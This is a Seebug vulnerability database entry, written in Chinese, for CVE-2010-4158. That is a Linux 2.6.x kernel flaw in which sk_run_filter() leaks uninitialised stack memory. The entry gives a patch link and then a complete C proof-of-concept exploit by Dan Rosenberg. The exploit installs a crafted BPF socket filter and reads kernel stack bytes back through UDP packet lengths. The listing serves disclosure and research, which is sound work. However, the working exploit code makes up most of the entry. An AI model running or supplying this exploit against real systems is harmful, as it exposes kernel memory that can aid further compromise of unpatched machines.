Lucene search

K
seebugRootSSV:20259
HistoryNov 17, 2010 - 12:00 a.m.

Linux Kernel套接字过滤器内存泄露漏洞

2010-11-1700:00:00
Root
www.seebug.org
29

0.0004 Low

EPSS

Percentile

8.8%

BUGTRAQ ID: 44758
CVE ID: CVE-2010-4158

Linux Kernel是开放源码操作系统Linux所使用的内核。

由于net/core/filter.c中的"sk_run_filter()"函数未正确初始化本地数组,会导致泄露内核栈内存。

Linux kernel 2.6.x
厂商补丁:

Linux

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://marc.info/?l=linux-netdev&m=128934173821229&w=2


                                                /*
 * You've done it. After hours of gdb and caffeine, you've finally got a shell
 * on your target's server. Maybe next time they will think twice about
 * running MyFirstCompSciProjectFTPD on a production machine. As you take
 * another sip of Mountain Dew and pick some of the cheetos out of your beard,
 * you begin to plan your next move - it's time to tackle the kernel.
 *
 * What should be your goal? Privilege escalation? That's impossible, there's
 * no such thing as a privilege escalation vulnerability on Linux. Denial of
 * service? What are you, some kind of script kiddie? No, the answer is
 * obvious. You must read the uninitialized bytes of the kernel stack, since
 * these bytes contain all the secrets of the universe and the meaning of life.
 *
 * How can you accomplish this insidious feat? You immediately discard the
 * notion of looking for uninitialized struct members that are copied back to
 * userspace, since you clearly need something far more elite. In order to
 * prove your superiority, your exploit must be as sophisticated as your taste
 * in obscure electronic music. After scanning the kernel source for good
 * candidates, you find your target and begin to code...
 *
 * by Dan Rosenberg
 *
 * Greets to kees, taviso, jono, spender, hawkes, and bla
 *
 */

#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <linux/filter.h>

#define PORT 37337

int transfer(int sendsock, int recvsock)
{

        struct sockaddr_in addr;
        char buf[512];
        int len = sizeof(addr);

        memset(buf, 0, sizeof(buf));
        
        if (fork())
                return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr, &len);

        sleep(1);

        memset(&addr, 0, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PORT);
        addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        
        sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);

        exit(0);

}

int main(int argc, char * argv[])
{

        int sendsock, recvsock, ret;
        unsigned int val;
        struct sockaddr_in addr;
        struct sock_fprog fprog;
        struct sock_filter filters[5];

        if (argc != 2) {
                printf("[*] Usage: %s offset (0-63)\n", argv[0]);
                return -1;
        }

        val = atoi(argv[1]);

        if (val > 63) {
                printf("[*] Invalid byte offset (must be 0-63)\n");
                return -1;
        }

        recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

        if (recvsock < 0 || sendsock < 0) {
                printf("[*] Could not create sockets.\n");
                return -1;
        }

        memset(&addr, 0, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PORT);
        addr.sin_addr.s_addr = htonl(INADDR_ANY);

        if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
                printf("[*] Could not bind socket.\n");
                return -1;
        }

        memset(&fprog, 0, sizeof(fprog));
        memset(filters, 0, sizeof(filters));

        filters[0].code = BPF_LD|BPF_MEM;
        filters[0].k = (val & ~0x3) / 4;

        filters[1].code = BPF_ALU|BPF_AND|BPF_K;
        filters[1].k = 0xff << ((val % 4) * 8);

        filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
        filters[2].k = (val % 4) * 8;

        filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
        filters[3].k = 256;

        filters[4].code = BPF_RET|BPF_A;

        fprog.len = 5;
        fprog.filter = filters;

        if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)) < 0) {
                printf("[*] Failed to install filter.\n");
                return -1;
        }

        ret = transfer(sendsock, recvsock);

        printf("[*] Your byte: 0x%.02x\n", ret - 248);

}


                              

0.0004 Low

EPSS

Percentile

8.8%

Related for SSV:20259